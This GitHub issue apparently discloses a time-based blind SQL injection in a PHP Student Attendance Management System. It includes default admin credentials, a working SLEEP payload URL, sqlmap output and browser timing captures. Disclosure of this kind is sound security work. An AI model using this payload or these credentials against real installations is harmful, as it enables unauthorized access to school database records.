

[New issue](#)[Jump to bottom](#)

# SQL injection vulnerability in Student Attendance Management System #2

✓ Closed huclilu opened this issue 9 days ago · 0 comments

huclilu commented 9 days ago

Build environment: Aapche2.4.39; MySQL5.7.26; PHP7.3.4

SQL injection vulnerability in Student Attendance Management System. input [admin@mail.com](#) / Password@123 Log in to the background. Then modify the information in createClass Php, the ID is assigned to the variable \$ID, and then inserted into the database for query, and the query information is returned, causing a SQL injection vulnerability

## 2.sql injectionPOC:

```
http://127.0.0.1/Admin/createClass.php?action=edit&Id=2' AND (SELECT 5892 FROM (SELECT(SLEEP(5))))cbkc
```

- Use sqlmap to verify

```
sqlmap identified the following injection point(s) with a total of 82 HTTP(s) requests:
--
Parameter: #1* (URI)
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: http://studentvul.test:80/Admin/createClassArms.php?action=edit&Id=2' AND (SELECT 5892 FROM (SELECT(SLEEP(5))))cbkc AND 'Popu'='Popu
[14:20:21] [INFO] the back-end DBMS is MySQL
[14:20:21] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
web application technology: PHP 7.3.4, Apache 2.4.39
back-end DBMS: MySQL >= 5.0.12
[14:20:21] [INFO] fetched data logged to 'test-files-under-'C:\Program Files\Apache Software Foundation\Apache24\htdocs\studentvul-test'
```

- Manual verification

1. SLEEP(5)

studentvul.test/Admin/createClassArms.php?action=edit&id=2' AND (SELECT 5892 FROM (SELECT(SLE

AMS

Dashboard

CLASS AND CLASS ARMS

Manage Classes

## Create Class Arms

Home / Create Class Arms

查看器 控制台 调试器 网络 样式编辑器 性能 内存 存储 无障碍环境 应用程序

过滤 URL

状态	方法	域名	文件	发起者	类型	传输	大小	耗时
200	GET	studentvul.test	createClassArms.php?action=edit&id=2' AND (SELECT 5892 FROM (SELECT(SLE	document	html	19.04 kB	18.64 kB	5041 毫秒
200	GET	studentvul.test	jquery.min.js	script	js	已缓存	0 字节	0 毫秒
200	GET	studentvul.test	bootstrap.bundle.min.js	script	js	已缓存	0 字节	0 毫秒
200	GET	studentvul.test	jquery.easing.min.js	script	js	已缓存	0 字节	0 毫秒
200	GET	studentvul.test	ruang-admin.min.js	script	js	已缓存	0 字节	0 毫秒
200	GET	studentvul.test	jquery.dataTables.min.js	script	js	已缓存	82.41 kB	0 毫秒
200	GET	studentvul.test	dataTables.bootstrap4.min.js	script	js	已缓存	2.09 kB	0 毫秒
200	GET	studentvul.test	attnlg.jpg	FaviconLoaderjsm:184 (img)	jpeg	已缓存	16.78 kB	0 毫秒

## 2. SLEEP(8)

studentvul.test/Admin/createClassArms.php?action=edit&id=2' AND (SELECT 5892 FROM (SELECT(SLE

AMS

Dashboard

CLASS AND CLASS ARMS

Manage Classes

## Create Class Arms

Home / Create Class Arms

查看器 控制台 调试器 网络 样式编辑器 性能 内存 存储 无障碍环境 应用程序

过滤 URL

状态	方法	域名	文件	发起者	类型	传输	大小	消息头	Cookie	请求	响应	耗时
200	GET	student...	attnlg.jpg	img	png	已缓存	20.61 kB	入队于: 0 毫秒		开始于: 0 毫秒	下载于: 8.06 秒	
200	GET	stud...	attnlg.jpg	FaviconLoader...	jpeg	已缓存	16.78 kB	请求耗时				
200	GET	stud...	bootstrap.bundle.min.js	script	js	已缓存	0 字节	阻塞:				0 毫秒
200	GET	stud...	createClassArms.php?action=edit&id=2' AND	document	html	19.04 kB	18.64 kB	DNS 解析:				0 毫秒
200	GET	stud...	dataTables.bootstrap4.min.js	script	js	已缓存	0 字节	连接:				0 毫秒
200	GET	stud...	jquery.dataTables.min.js	script	js	已缓存	0 字节	TLS 建立:				0 毫秒
200	GET	stud...	jquery.easing.min.js	script	js	已缓存	0 字节	发送:				0 毫秒
200	GET	stud...	jquery.min.js	script	js	已缓存	0 字节	等待:				0 毫秒
200	GET	stud...	ruang-admin.min.js	script	js	已缓存	0 字节	接收:				0 毫秒
200	GET	student...	user-icn.png	img	png	已缓存	8.32 kB					0 毫秒

 huclilu closed this as completed 8 days ago

## Assignees

No one assigned

## Labels

None yet

## Projects

Projects

None yet

---

Milestone

No milestone

---

Development

No branches or pull requests

---

1 participant

